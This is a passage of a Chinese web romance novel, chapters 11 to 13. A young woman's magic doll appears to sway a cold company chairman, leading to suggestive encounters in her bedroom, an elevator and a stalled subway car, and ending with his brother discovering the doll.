更加没有和他坐在同一张桌子上吃饭。 现在要做的就是远离他,以免又触发出什么新的剧情来。 她对自己的淫商有着很大的自信。 如果不将那个娃娃锁起来,继续下去,恐怕要和沈决远将a片里的剧情都演一遍了。 沈决远虽然在国外长大,但他从小接受的是家族的精英教育。像他那种老派绅士,应该将礼仪教养看的尤其重要。 他一定接受不了如此□□的事情发生在自己身上。 没了阿贝贝之后,池溪最近的睡眠质量很差,昨天直接熬到了凌晨四点。 睡了三个小时就被吵醒。 池溪在这个世界上没有特别讨厌的人,因为她觉得‘特别’这个词很特别。 只能给对她来说独一无二的人。 很显然,沈司桥不会是这个人。池溪只是单纯地讨厌他而已。 一大早,沈司桥就站在她的房间外面猛地用手敲门。 说是敲门,还不如说拍门更加贴切。 池溪还没从睡梦中醒来,却又不敢得罪这位嘴贱的二少爷,此时不得不拖着疲惫的身体过去开门。 沈司桥看到她这个样子,立马开启嘲讽模式:“你去偷男人了?怎么一副萎靡不振的样子。” 对啊,偷你哥了。 她不想理他,转身打开了盥洗室的灯。 想起郑伯母居然担心她会和沈司桥勾搭在一起,她觉得郑伯母简直就是多虑了。 严格意义上讲,沈司桥长得很帅,他是那种痞帅类型,爱好也很符合他的长相。 飙车跳伞,偶尔去酒吧撒钱,出去玩一趟能被塞一掌宽的房卡。 “我听说你前天很晚才回家,去哪了?”沈司桥丝毫不把自己当外人,直接躺在她的床上。 池溪想,看来等他离开后自己要把床上用品全都换了。 她含糊其辞地说:“去看流星雨了。” 沈司桥显然没有那么好糊弄:“你一个人去山上看流星雨?就你这个胆子,你敢一个人去?” “......”那她应该怎么说,和你哥一起去的,顺便在山上Play了一次。 “我和朋友一起去的,她看完就直接回去了。” “哪个朋友,叫什么,电话多少。”沈司桥慢悠悠地拿出手机,一副查岗的架势。 “呃……你不认识的。” 沈司桥堂而皇之地躺在她的床上:“打一通电话就认识了。报号码。” 认命的池溪则顶着她刚睡醒的鸡窝头,试图用窝囊的沉默敷衍过去。 “你们在聊什么?” 一道低沉男声打断了这份不太和谐的气氛。 男人推门进来,儒雅成熟的西装三件套,身上沾染外面的凌冽寒风。 他的眉眼平和,居高临下的视线却带着淡淡审视。 池溪突然有一种,被捉奸在床的心虚。 11. 第十一章 沈司桥比池溪的反应更大,他立刻从池溪的床上坐起来:“哥......你怎么来了。” “这句话应该由我来问你。” 男人从外面进屋,高大挺拔的身材很轻易地就将这个不大的房间衬托的更加渺小和压抑。 随时随地,主导权始终都掌控在他的手上。 沈司桥这个天不怕地不怕的二世祖,在这个世界上唯一怕的就是他哥。 不是什么血脉压制,而是一种本能上的畏惧。 男人居高临下地看着他们,神情寡淡。 但强大的上位者气场与威压却将房间内其他两个人震慑到说不出话。 因此,沈司桥过了很久才开口:“我有点事情要问她,今天从酒吧回来刚好看到她起床了。” 池溪:“......” 谢邀,她什么时候刚好起床了? 她是被强行从睡梦中吵醒的。 比起正宫捉奸,审讯犯人似乎更加符合沈决远。 他身上有一种优雅的强势。 察觉到沈决远的视线放在她的身上,池溪只能硬着头皮点头:“是这样的……我们没做什么。” 她不敢抬头看沈决远,现在的场面实在过于诡异。早上八点,她和沈司桥孤男寡女待在同一个房间,沈司桥甚至直接躺在她的床上。 她觉得自己现在不管说什么都像是在狡辩。 和她看的那些十点档狗血剧上演的剧情一模一样。 出轨的那方被捉奸在床,声泪俱下地请求对方原谅,并反复强调他们什么也没做,一切都是误会。 唉,池溪窝囊地认命了。 “是吗。既然这样。”沈决远刻意地停顿,他让安静的时间加长。 直到那两个人的紧张情绪提到最高点,他才从容不迫地淡声反问:“你还有其他事吗?” 他问的是沈司桥。 “没.…没了。”后者回答。 “早点回去休息,以后不要熬到太晚,对身体不好。”他语气平和地定下了为他好的规矩,“十二点前就不要再外出了。” 这对习惯了夜生活的沈司桥来说简直是酷刑。但他还是顺从地点了点头。 沈司桥离开后,池溪伸手理了理自己的头发,试图紧急抢救一下。她现在的样子实在太丑,头发乱糟糟的。 她无所谓在沈司桥面前是个什么形象。但她希望自己在沈决远面前,至少外形是漂亮的。 “那个...您找我有什么事情吗?”她唯唯诺诺地问。 沈决远将那个黑色植鞣革手袋递给她:“上次落在我车上的东西。” 池溪疑惑地接过手袋,然后打开。 看到里面的东西后,她的脸瞬间就红了。 那条失踪的内裤。 “谢....谢谢。” 她没想到沈决远不仅没有扔掉,甚至还洗干净了单独装好,然后特意选在一个家中没什么人走动的时间还给她。 他考虑的很周到,毕竟如果被人看到他出现在她的房间,肯定又会有新的流言传出来。 郑伯母现在本来就防着她,生怕她会和沈司桥在一起。 果然是属于年上的魅力,成熟理性。不像沈司桥那个傻屌。 她将那条内裤放在了身后,再次和他道谢。沈决远显然没有立刻离开的打算,他在她的房间内看了看。 她的房间很整洁,陈设没有太繁琐,空气中那股甜腻的香味是他好几天没有再闻到过的。 或许是太久没有闻到。 意外地,竟然有几分上瘾。 他的视线回到她身上那件珊瑚绒睡衣。 他虽然没有穿过这种材质的衣服,但现在,他比任何人都要了解这是一种怎样的手感。 “你和他关系很好?” 他轻描淡写地询问起二人的关系。 池溪紧张到头皮都开始发麻了。 “呃....我们....应该算好吧。我搬到北城之后,因为爸爸和沈伯伯的关系,所以我和他经常会碰面。”她选择了撒谎,总不能当着哥哥的面,说出她讨厌沈司桥。 虽然沈决远对自己这个弟弟可能并没有感情。 池溪去冰箱里给他拿喝的,找了一圈也只看到可乐和各种酸奶。 想到沈决远房间里的酒柜,她只能寒酸地拿出一瓶单价最贵的酸奶递给他。 “喝这个吧。”八块钱的酸奶。 池溪感到庆幸,因为沈决远并没有表露嫌弃,冰冷镜片下的情绪照旧。 接过后随手放在一旁。 十分钟后,那瓶酸奶还原封不动地放在桌上,沈决远已经离开了。 池溪头疼地将床单和被罩全都换下来扔进了洗衣机。 她坐在那里,满脑子都是沈决远。他总是点到为止地问一些问题。将人的心高高吊起来。 让人遐想,却又深知那只是自作多情。 -- 那段时间池溪每天都在忙着各种打杂的工作,对沈决远仍旧是避而远之。在家也是能躲就躲。 她抱着那堆挡住她视线的文件跑到即将关闭的电梯门前:“等一下等一下。” 一只骨节分明的手及时挡住缓慢合拢的电梯门,手腕上那块黑色的理查德米勒在灯光的映照下泛着冰冷的淡色。 池溪连连和对方道谢。 她无法空出双手,只能拜托对方:“可以麻烦您我按一下十二楼吗?谢谢您。” 对方没有回答她,直接抬手按下。 道过谢之后,对方仍旧没有给她任何回应,哪怕是一声低嗯也没有。 池溪想,看来这位好心人挺高冷,不爱说话。 这些文件都是要拿去重新修改的,还有一些已经定下。策划部如今算是安全了,至少暂时从裁员名单中被剔除。 池溪也不用再熬夜翻看求职网站。 她打了个哈欠,还是很困。 不需要熬夜看求职网站,不代表她最近没有熬夜。 自从那个娃娃被她锁进衣柜后,她就开始了连续不间断的失眠。 那个娃娃对她的意义已经不仅仅是能够和沈决远产生共感。 它早就成为了哄她睡觉的阿贝贝。 但她不能再去碰那个娃娃了。 她不想破坏别人的感情,更不想用这种方式强迫沈决远。 池溪又打了个哈欠,等待电梯上行。 令人意外的是,这部电梯中途居然没有停过一次。 毕竟这个点用到电梯的人很多,甚至经常碰到需要等下一班电梯的时候。 轿厢内的气味清淡高雅,和在公司闻到的那股迪奥真我的味道不太一样。 这种圣洁清冷的气息,池溪似乎只在一个地方闻到过。 她此刻才开始打量起四周,电梯很宽敞,不锈钢内饰变成了真皮与实木,内部甚至还有专属的空气净化系统。 池溪后知后觉地反应过来,自己进错了电梯。 这是董事专用电梯。 那电梯里另外一个人.... 她战战兢兢地回过头,果然对上一张英俊儒雅的脸。男人没什么表情,高挺的鼻梁上佩戴着一那副无边框眼镜,高定西装没有一丝褶皱。 池溪不否认自己是见色起意,毕竟所有的一见钟情都是见色起意。 她就是被沈决远的外形给吸引。 所以哪怕他再傲慢,对待她再冷淡。 她也只是窝囊地将对他的喜欢减一。 当然,目前对他的喜欢是10000000.... 没办法,他太迷人了。池溪长这么大,第一次见这么牛逼带劲的长相。 原谅她的词汇量缺乏,她实在是找不到贴切的形容词来形容他。 帅气英俊之类的词语放在他身上都太浅显了。 当然,比起心动,她此刻更多的是害怕。 “对对对...对不起。沈董,我不知道进错电梯了,我...我没看到。” 他对她的道歉不予理会。 深棕色大衣随意披在肩头,量身裁剪的浅灰色细格纹西装,高贵优雅的气场之中,带着几分天然的冷淡与疏离。平和的神情之中,盘踞着漫不经心的掌控感。 电梯门开的瞬间,他的手机铃声响了。 他接通电话的同时头也不回地走了出去。羊绒大衣扬起一道很轻的弧度,却锋利的像是利刃,隔开了池溪心里的平静。 高大的身躯压下的阴影像是将池溪困在了电梯中。 好吧,无论是在家里还是在公司,他的存在对她来说永远都是一座高不可攀的山。 即使这座高不可攀的山,曾经不止一次地压在她的身上。 池溪不止一次想要打开衣柜,拿出被锁在里面的娃娃。 她被失眠折磨到需要去医院找医生开安眠药的程度。 忍住,要忍住。你不能对有妇之夫下手。 池溪心中仅存的道德感在不断提醒她。 虽然沈决远只是同意了相亲,但在池溪看来,这次相亲十有八九会成功。 她相信郑伯母的眼光。 听说安排在明天见面,在沈决远会议结束之后。 - 但池溪没想到,她和沈决远居然会以这种方式‘单独相处’ 在他相亲的前一天,她原本是陪同部长去参加内部会议。临了,会议结束,沈决远有急事要去处理。 但他的司机今天请了一天的假。 于是沈决远看向池溪:“有驾照吗?” 正在收拾桌上那些文件的池溪愣了愣。 不确定地开口:“有是有....” 沈决远把车钥匙递给她:“去地下车库等我。” 然后就是现在,池溪担惊受怕地开着那辆价值八位数的劳斯莱斯,战战兢兢地上了路。 沈董坐在后排,正在用ipad查看自己接下来的工作行程。 据说是南区的施工现场出现了一些意外,至于是什么意外,池溪就不得而知了。 不过那个项目应该很重要,否则沈决远也不可能亲自出面。 当然,在解决施工现场的那个意外之前,沈决远恐怕还得先解决其他意外。 二十分钟后,池溪悲痛欲绝地看着撞上护栏的劳斯莱斯。 “不..不好意思啊,我...我有点紧张,所以....” 她已经不敢去看沈决远的眼睛了。 他虽然性格冷淡傲慢,但胜在情绪稳定,解决事情的能力也是一流。 此时只是慢条斯理地点燃一支烟:“我已经给4s店打了电话,他们会在半小时后过来。” “那...那我们要在这里等吗?”她怯生生地问。 沈决远抬腕看了眼时间:“不等了,打车吧。” “额......”她害怕到撇嘴,这位资本家平时出行不是专车就是私人飞机,恐怕从来没有打过网约车,“这里打车,最少也需要半个小时才能打到。” “......” 她急忙开口补救:“不过前面有个地铁站。” “......” 池溪还是第一次在坐地铁时,收获如此多的回头率。即使知道那些回头率的主角都来源于她身边的男人。 不管男的女的,老的少的,经过他时视线总是不受控地看向他。 或许是因为今天是临时行程,所以他没有穿正装。而是很随性的打扮,一件黑色的高领毛衣与熨烫妥帖的黑色西裤。 完美立体的骨相,稍显柔和的五官轮廓,神色很淡,没什么情绪。他身上高贵典雅的气质显然不属于这里。 池溪没想到地铁内人会这么多,偏偏前面几站下车的人少,上车的人多。她第一次体会到了沙丁鱼罐头里那些沙丁鱼的感受。 外面的人为了能够顺利站上地铁,只能拼命地挤。 池溪无法控制地被被挤到面前那个男人的怀里,脸直接埋进男人的胸口...... 隔着柔软的美利奴羊毛,她甚至能够感受到毛衣下那副属于男性的结实身躯,肌肉的轮廓走向。 好死不死的,她的脸刚好就埋在了正中间... 她想要离开,但车门已经关上了,地铁内根本没有一点多余的活动空间。 她就像是被禁锢在了他的怀里一样。 “对不起。” 记不清是今天第几次道歉了。 她痛苦且绝望地闭上眼睛。 呜呜呜呜呜呜今天的地铁怎么这么挤,沈决远肯定更加讨厌她了。 难过的眼泪和口水一起流了出来。 唔,这让人安心的窒息感。 这种大爽子揉起来最奶了。不是...她为什么都这种时候了还有心思想这些。 不过和他做了两次,每次都是他咬自己...... 她根本不敢对他做什么。之前只是有色心没贼胆。 这还是第一次这么亲密的和这里直接接触。 池溪和他道歉,但因为整张脸都被迫埋了进去,声音被西装与壮硕结实的胸肌层层阻隔,最后只能发出一点沉闷的声音来。 “车辆的维修费.....我会赔给您的。今天都是我不好。”她自内心和他道歉的。都是因为她,才会多出这么多不必要的麻烦来。 男人始终不予理会。 池溪想,完了,他一定是生气了。 不过生气也正常。 唉。 她觉得还是继续说点什么吧,否则就这样沉默地将头埋进男人的胸肌之中,实在是... “那个...” 她刚说了两个字,正在运行中的地铁突然停了下来。 头顶的灯也在闪烁数下之后熄灭。整条车厢都陷入一片黑暗之中。 广播提醒轨道突发系统故障,正在紧急抢修,让大家不要恐慌,大概会在十分钟后恢复正常运行。 池溪觉得今天发生这一连串的事情可能是因为她出门时没有看黄历。 在周围的牢骚声中,池溪想起自己两个月前看的那部电车play的tl漫。 不是吧...应该只是巧合。 池溪在心里安慰自己,娃娃都被她锁起来了,而且那部漫画是她两个月前看的。 如果真要发生点什么,早就发生了,不会等到两个月后。 池溪刚将自己安慰好。 一只宽大的手轻轻抚上她的腰,暧昧地贴着凹凸有致的腰肢摸了摸:“会不会很挤?踩在我的脚上吧,这样会好点。” 这个包容的语气....... 池溪绝望地闭上眼睛。 完了。 12. 第十二章 池溪非常慌乱,有些情节只适合出现在漫画小说和她的幻想里。 一旦发生在现实世界,那就成了恐怖事件。 更何况地铁上到处都是摄像头。 比起自己被拍,她更担心沈决远在看到这条视频后,她会面临的悲惨遭遇。 通过沈叔叔对待沈决远的态度,她就能够察觉到他的本性没有他的教养那么绅士友善。 更何况以他的身份地位,想要让她无声无息的消失在这个世界上,恐怕也不是什么难事。 “没关系的,一点也不挤....”池溪试图拒绝。 但好巧不巧,后面那几个人还在不断地将她往里面挤,试图让自己获得更大的空间。 池溪:“.....” 她希望沈决远不要误会,她不是故意要这么用力地将头埋进他的胸前的,她没有想要占他的便宜。 实在是...进退两难。 拜托不要再挤了——她只能窝囊地在心中呐喊。 看穿她的窘迫,沈决远贴心地再次递给她台阶:“站上来吧。哪怕只有十分钟,这样挤下去也会很难受。” “那...那好吧。”继续拒绝的话,似乎就显得不识好歹了。 池溪只能小心翼翼地踩上去。 她今天穿的是一双白粉色运动鞋,和那双黑色的意大利手工男士皮鞋出现在同一个画面里,简直就是两种完全不同的风格。 幼稚与成熟的视觉冲击。 他的体贴让池溪想要落泪,池溪想,如果沈决远平时对她也能这么温柔就好了。 算了,不需要温柔,只要别太冷淡她就谢天谢地了。 “会踩疼你吗?”距离实在太近,她已经贴到了他的身上。 脸仍旧埋在男人结实宽阔的胸膛,并没有因为多出的这些高度而发生太大的改变。只是埋的角度变了,变的更深入。 近距离闻着对方身上强烈的男性荷尔蒙气息。 原来男人的胸肌是这种触感,她一直以为是硬梆梆的,像石头一样。 感觉上...似乎和那个地方类似。 平常状态下是软的,只有特定的时候才会.... 他身上的气息很符合挪威的寒冬,干净冷冽,清清淡淡,又带着一点让人上瘾的特殊气味。 难怪他会认为她的香水味廉价且难闻。 “不会,你的体重很轻。”他的声音一如既往,平稳冷静的消除了她心里的内疚。 “要是踩疼了,你记得和我说。” 他似乎很轻地笑了一下,在这个充满抱怨的车厢内,池溪没有听到,但感受到了。 他的胸腔被这声笑牵出淡淡的震颤。那种酥麻感从她的脸因此传遍全身,最后延申至四肢百骸。她的手握紧又松开,最后没骨气地轻轻抓住他的上衣下摆。 她觉得完蛋了,她彻底完蛋了。 世界上怎么能有人一举一动都在不断散发着成熟男人的迷人魅力。 “我真的不是故意的,我拿到驾照之后就没怎么摸过方向盘了。” “同一件事不需要反复解释,我没有责怪你。”他单方面终止了这个话题。 池溪只是不知道该说些什么才能缓解这种尴尬氛围。 由于太过拥挤,池溪不可避免地会被后面的人撞到。 长期赶公交和地铁的社畜牛马早就习惯了这种沙丁鱼式拥挤。 正当池溪像往常一样在心里默念没什么没什么,然而下一秒,一只宽大有力的手掌不动声色地将她与四周的人阻隔开。 此时那只手放在她的后臀,她甚至能够感受到对方掌心的温度。 他的体温比她的高。她之前看过一篇科普,因为男性的肌肉占比更高,所以在代谢中会产生更多的热量。 怎么办,靠的实在太紧了,她那条薄款的裤子甚至可以感受到西裤下,健硕有力的大腿肌肉。 “这些天你似乎一直在躲我。” 这个问题让池溪紧张之余感到有些不可置信。 她没想过沈决远会察觉到。 “呃...我没有躲您,我只是最近太忙了。” 说完才觉得这个谎言有多拙劣,她再忙也不可能有他忙。 “是吗。”他的语气轻慢,池溪不知道他相信了没有。但他没有继续追问下去,池溪暂时松一口气。 其实没有追问才是正常的。 他会察觉到自己在躲她不算意外,他本身就很敏锐,像狼一样。 车厢内的拥挤似乎不再属于池溪,她以这样的姿势被沈决远抱在怀里,踩着他的脚,有了他的手做阻隔,也不用担心会被其他人碰到。 但....不知道是不是受车厢内高温的影响,他手掌的温度似乎变得更烫了。宽大的手掌轻松覆盖住她的臀部。 池溪不自在地动了动,臀也因此在他掌心蹭了蹭。 “......”她瞬间僵住。 这极具暗示性的动作,哪怕是个没有任何经验的人也会感受到。 更何况是在开放国度长大的沈决远。 “那个...”她的脸因为窘迫涨红了,想开口解释自己不是那个意思。 但还没说完就被沈决远轻飘飘的打断:“这里平时也这么多人吗?” 他的主动提问稍微消减了一些池溪的尴尬。 “高峰期人会多一点。”池溪抿了抿唇,现在才是真正的进退两难。往后退是他放在她臀上的手,往前躲只能更加紧贴他的身体。 他身上的毛衣材质很柔软,但他极具侵略性的身材让这份柔软变得更有性张力。池溪埋在他的胸口,压出的褶皱将肌肉的轮廓勾勒出来。 优雅清冷的气质,却有着一副实在不符合的躯体。 “明天开始,让司机接送你上下班吧。” 池溪听到他的话愣了一瞬:“啊?谢.....谢谢。” 沈决远单手环住她,不让旁边的人碰到。 池溪不是故意选在这种地方谈论工作的,她实在不知道该说些什么了。因为她察觉到沈决远的呼吸开始变得有些沉重,他另一只手温柔地抚摸起她的后背。每次都会在后背处停留数秒,他的指腹暧昧地沿着那个地方轻轻打圈。 他第一次的时候还很生疏,但第二次就很熟练了。 熟练到像是随手撕开三明治的包装袋。 “那个...沈董,下周三那个外出考察,部长说可以带两个人去...我觉得...”她不知道自己是怎么有胆子在董事长面前毛遂自荐的,“我觉得我可以胜任这个职务。” “是吗,周三你不是没有时间吗。”沈决远并没有说出她想要得到的答案,而是轻描淡写的延申出了一个新的问题。 “下周三我有时间的。”见他没有拒绝,以为有戏的池溪立刻回答。 他轻飘飘地开口:“你忘了吗,你答应了你的郑伯母,下周三要去相亲。” 经他这一提醒她才想起来,对啊,她答应了郑伯母要去相亲的,刚好就定在周三。 这么好的工作机会,如果抓住的话,就算升职没希望,至少不用再担心被裁员。 只可惜... 池溪露出遗憾的表情来。 “会去吗?”男人问她。 “什...什么?”池溪充斥在遗憾的情绪中有些入神,以至于没有立刻反应过来他这个问题的意思。 男人体贴地将这个问题扩充完整:“会去相亲吗?” 他将她的脸从自己胸口拔出来,然后用手托着她的下巴,强迫她抬起头,直视自己。 从脖子到耳根全都红了,眼神都变得有些迷离。比起呼吸不顺,更像是喝醉了。 沈决远沉吟片刻,没有问她是怎么变成这样的。 池溪仍旧回味在埋进他胸肌里的感觉:“呃...我....应该会去吧,我答应了伯母。” 他点了点头,点到为止,没有继续问下去。 这让池溪更加挫败,她觉得因为那个娃娃的存在,导致她更加摸不透沈决远的心思。 他的体贴和包容似乎只会在娃娃的作用奏效时短暂地对施舍给她。她无法看透他的内心。 他是怎么想的呢,这个阶段的他思想是独立的吗,还是受那个娃娃操控?类似于小说中的被夺舍。 只要想到这这里,池溪的胃里就一阵翻涌,她感到恶心。对自己的‘龌龊’感到恶心。 代入沈决远,如果自己被强迫去睡一个自己讨厌的人。 说到讨厌,她的脑海第一个浮现的就是沈司桥。 如果自己被强迫去睡沈司桥,她宁愿原地上吊。 沈决远会不会也和她拥有一样的想法呢? 即使心中情绪非常复杂,但池溪还是得先回答他的问题:“我可以去找伯母说一下,看能不能拒绝。” 沈决远的表情没有变化,还是那种居高临下的从容不迫。或许是自己的错觉,池溪觉得,在听到她说拒绝伯母的相亲时他的眼神稍微变得缓和了一些。 她是仰着头和他说话的,因为时刻记得爸爸提前找人教过她的那些礼仪。 和人说话时要看着对方的眼睛,否则就是不礼貌。 在她盯着沈决远的眼睛看时,对方或许是察觉到了她的注视,于是也体贴地低下了头。 四目相对。 地铁里面其实很黑,只有隧道处的应急照明灯散发着微弱的光。 周围那些人的抱怨还没有停止,甚至演变成了谩骂。 “靠,这都多久了怎么还没有好。” “我七点约了客户,现在都六点四十五了。” “别挤了,他妈的到底是谁的手在乱摸啊,信不信我告你性骚扰?” 池溪仍旧用那种诚恳真挚的眼神看着他,希望这位身处高位的冷血董事长可以看在她认真的工作态度上,给她这一次机会。 他的确给了她机会,其他方面的机会。 男人伸手捏住她的脸,虎口处刚好抵住她的下巴。 那个吻猝不及防地落了下来,强势霸道。 “舌头伸出来。”平淡的命令式语气。 “唔....”她听话地伸了出去,很快就被男人含住,他的口腔湿热,舌头也是,纠缠在一起,她感到自己的舌根被扯到发疼。 “唔唔唔...” 她为了纂取氧气只能拼命张开嘴巴,对方却趁此机会将自己的舌头全都伸了进去,她的口腔被搅的一塌糊涂,口津顺着嘴角流了出来,舌头分离时牵扯出暧昧的银丝。 她的喉咙被激吻出‘咕噜咕噜’的沉重吞咽声。 “手放在什么地方?”男人离开了她的唇,声音沙哑地询问。 池溪这才反应过来,被吻到窒息缺氧的她,是什么时候将手放上他的胸口。 她不好意思地松开手,替他将被揉皱的毛衣理顺。 “抱..抱歉,我也不知道....” 好在他并没有追究她,只是握住她的手,指腹在她的手指轻轻抚摸。 轻声说:“指甲要剪了。” 池溪看了眼自己的指甲,涂了护甲油的手指细长白皙。 “嗯...”她红着脸,低下头。 幸好地铁很快就重复运作,地铁内的灯亮了,车厢内因为等待而充满戾气的人也停止了争吵。唯独只有池溪,红着一张脸,把头低下头,生怕被人发现她被亲吻吸吮到异常红肿的嘴唇。 地铁到站。 司机已经将车开到站外等着了,池溪看着那辆黑色的迈巴赫,一时不敢上去。 她现在对车暂时有了点阴影,担心又会像一个小时前的那辆劳斯莱斯一样。 司机提前下车,打开后排车门,等待沈决远坐进去。 男人将一条腿迈进去,见身后没有动静,他回头看了一眼,池溪还站在那里,樱红的嘴唇很肿。 “你打算一直站在那里吗?” 听到男人平淡的询问,池溪连忙摇头:“我....” “上车。”他简短地扔下一句命令,便坐进车内。池溪只得迈着沉重的步子上车。 她其实不敢在这种时候和沈决远单独相处。 ——虽然车内还有司机,可是挡板升上去后,司机的存在和无没有任何区别。 怎么办,沈决远会疑惑自己刚才为什么会突然和她接吻吗。 她一直都很好奇,在脱离了娃娃的‘操控’后,他还记得多少被‘操控’时发生的事情。 他不会感到不解或者困惑吗。 反正如果是她,和沈司桥睡了或是接吻,她都会原地自杀。 这么恶心的事情她想都不敢想。 所以池溪一直很好奇沈决远是怎么想的。 但他表现出的状态不像是不记得,也不像是记得,那种无所谓的淡漠情绪,让人永远无法猜透他在想什么。 不过唯一知道的是,他又从那种体贴包容的情绪中出来了。 此时拿起电脑翻看起那几封离线邮件,全俄语的池溪也看不懂。 “周三那天你穿的正式一点。”他并没有看她,视线仍旧放在电脑屏幕上。 “啊?为什么。”她眨了眨眼,有些不解。 沈决远伸手扶了扶眼镜,似乎对于她总是慢半拍的反应感到头疼。 冰冷镜片下的眼神从容冷静:“正式的场合当然要穿合规的衣服,难道你想穿成这样去?” 池溪抿了抿唇,低头看了眼自己的穿着。 浅色打底和深色外套,还有脚上那双从高中就开始跟她的运动鞋。 好吧... 她现在的穿着的确很高中生。 “我知道了,沈董。”她双腿并拢,手放在大腿上,脊背挺直,乖巧如学生。 沈决远没有再理会她,而是戴上蓝牙耳机直接在车上开始会议。 池溪知道,如果不是出了刚才那一连串的意外,这场会议也不会仓促到在车行进行。 她偷偷看他。 车窗外是不断后移的街景。入冬之后昼短夜长,这个点天就已经黑透了。 车内没有开灯,唯一的光亮来源于放在他腿上的电脑。 座位中间的真皮扶手上放着一杯温水和一杯热牛奶。 温水是沈决远的,至于那杯热牛奶是给谁准备的,显而易见。 总不能是给司机吧。 但没有沈决远的点头,池溪根本不敢喝。她非常局促,即使嘴唇和口腔还留存着沈决远的温度和触感。 车已经开进了北城最繁华的地段,外面的夜景灯火通明,通体透明的玻璃幕墙整夜都在播放着各种池溪买不起的顶奢广告。 沈决远的侧脸也在这种纸醉金迷的灯光之中被勾勒深邃。 锋利立体的骨相,是他最直观的特征。 他很适合这种地方,无论是他身上的贵气还是他强势的气场。 而她,则与这里格格不入。 现在的沈决远又变回那个居高临下的上位者了。仿佛地铁里那个亲吻结束之后,脸贴着脸和她耳鬓厮磨,然后咬着她的耳垂轻声告诉她“不知道为什么,刚才有一瞬间,很想在这里gan你。” 他用舌头挑逗她的耳垂,“下次吧,等没人的时候。” 像是在给她发送做嗳邀请,又像是在提前告知的人不是他。 - 她的嘴巴直到第二天仍旧没有消肿,足以可见昨天在地铁上的那个吻有多激烈。 池溪发现沈决远在那方面没有平时的绅士优雅。 他似乎更倾向于rough sex。 不过这是建立在尊重对方意愿的前提下。 所以之前那几次,在没有池溪的授意,他并没有太激烈的行为。 今天的晚餐是中餐。 吃饭时,她如往常那样,只能夹离自己近的那几道菜。没人觉得这有什么不对,包括池溪。 自从来到北城之后,她就一直在被各种区别对待,完完全全的处在生物链底层。 很显然,今天是第一次有人发现这种现象。 沈决远拉动他身旁的椅子,让她坐过来。 池溪愣了一下,手中握着筷子:“没关系的,我坐在这里就....” “过来。”他没有和她废话,只是简要的重复了一遍。语气平淡中透着一丝不容置喙的强硬。 池溪这才在所有人的注视下起身走到沈决远的身旁坐下。 沈决远喝了口咖啡:“这几天我会去一趟白沙湾,周三那天应该回不来,你到时候将会议内容整理好之后发到我的邮箱里。” 池溪点头:“好的沈董。” 餐桌仿佛成为了他的办公室。 郑伯母瞥见沈司桥的座位是空的,不知道他又去了哪里。今天一早就没看到他的人影。 她抽空关心了一下池溪:“小溪,你的嘴巴是怎么回事。” 这么肿。 池溪有些心虚。 “呃....昨天吃的太辣了。” 郑伯母笑道:“吃什么了辣成这样。” 吃了你继子的嘴。 池溪尴尬地喝了口水,敷衍过去。 沈司桥昨晚和朋友去青衡山飙车了,上面修了一条新的急速赛道,陡坡直道很多,同时也是事故多发区,对于追求刺激的他来说简直是个好地方。 回来之后一觉睡到现在才醒。 前天去池溪的房间把打火机落在她那了。所以现在打算过去找找。 他有她房间的钥匙,去保姆室拿就行。 熟练地开了她的房门,他在里面闲逛了一会。 桌上放的相框是她和她妈妈的合影,还有她的毕业照。 每张照片都笑的很灿烂,和现在这个窝囊样简直是两模两样。 沈司桥找了一圈,最后在垃圾桶里发现了那个打火机。 “......” 他没想到池溪会这么对待他的东西。 靠。 他不爽地在心里骂了句脏话,刚准备离开,又想着不能白来一趟。 于是走到她的衣柜前。 他记得她总是喜欢把自己珍藏的东西藏在抽屉。像仓鼠一样。 既然她把自己珍藏的打火机扔了,公平起见,他也应该拿走一样她珍藏的东西。 他拉开抽屉,看到放在里面的东西。 先是愣了一下,随即眉头以一种不可言喻的弧度往上挑。 空荡荡的抽屉,只有一个娃娃放在里面。 他将娃娃取出来,眉间的褶皱变得更深。 这个娃娃的脸...简直是按照他哥的长相一比一复刻出来的。 13. 第十三章 池溪是在第二天发现娃娃不见的。 一整个白天她都精神恍惚,将家里的佣人全都问了一遍,每个人都说没去过她的房间,也没看到有人去过她的房间。 刚好她住所附近的监控这几天坏了,据说是由于线路出现问题,维修人员今天下午上门检修。 池溪觉得人一旦倒霉起来,所以的坏事都会接踵而来。 吃饭的时候郑伯母连续喊了几声她都没听见,还是坐在旁边的沈司桥用脚踢了踢她的凳子:“怎么,昨晚在梦里找男人了?” 郑伯母在池溪开口之前批评了他:“司桥,你不要总是欺负小溪。” 沈司桥耸了耸肩,还是那副不着调的二世祖模样:“那你问她,昨晚去干嘛了,今天一副魂丢了的样子。” 好吧,沈司桥没有说错,她昨晚的确梦到了沈决远。 但她走神不是因为这件事,而是.... 她没办法承受娃娃丢失后造成的不可控后果。 因为不清楚娃娃是被谁拿走的,也不清楚那个娃娃在其他人手中会不会拥有一样的效果。 万一对方对娃娃做了不好的事情,譬如.... 池溪的脑子里立刻浮现出娃娃被剪刀剪碎的场面。 郑伯母用眼神示意沈司桥闭嘴,随后关心地询问池溪:“是昨晚没有睡好吗?” 池溪顺着郑伯母递出的台阶往下走,含糊地点了点头:“嗯...可能是外面有点吵。” 附近在施工,沈伯父最近心血来潮找风水大师算了算,说顺西往东修建一条人工湖对家族运势好。他事先问过沈决远的意见,后者没有发表任何意见,只是语气平淡:“按您的想法来。” 沈决远对待他们每一个人都保持着一种礼貌的疏离。 沈伯父担心他太早回北欧,所以这段时间一直在想着各种办法留他。 池溪知道,沈伯父用的那些理由沈决远根本就不可能放在眼里。 他之所以会答应留下来,仅仅只是因为他自己想留。 他绝对不是那种会为别人考虑的人。 至少在池溪看来,沈决远拥有藏在温和绅士下的强硬。 并且是冷血的强硬。 郑伯母听说池溪因为修建人工湖的事情睡不好,便说要给她换个住的地方。 池溪本来是想拒绝的,她估计也不会在这里住很久。爸爸的选举又开始推动了,她上周还在电视里看到爸爸的采访片段。 不过她也没有拒绝郑伯母的好意,点头道谢。 沈司桥全程用一种意味深长的眼神看她。 直到吃完早饭,池溪换好鞋子出门,被沈司桥拉住:“过来,我们谈谈。” 对于沈司桥的触碰池溪有一种生理性厌恶:“没什么好谈的,我要去上班了。” 沈司桥嘴角挂着游刃有余的笑:“真的没有吗,你这个变态。” ‘变态’二字说的暧昧, 可能是心虚,池溪在听到变态这个词语的时候,后背一凉。 最后还是放弃了反抗。 沈决远出门时,刚好看到这一幕。 ——池溪顺从地被沈司桥拉走,两个人似乎关系很要好。 费尔顿见他停下:“怎么了,eli先生。” 费尔顿是沈决远从北欧带过来的下属,平时负责帮他处理一些棘手或是不方便他亲自出面处理的事情。 “没什么。”男人平静地收回视线,面无表情,“走吧。” 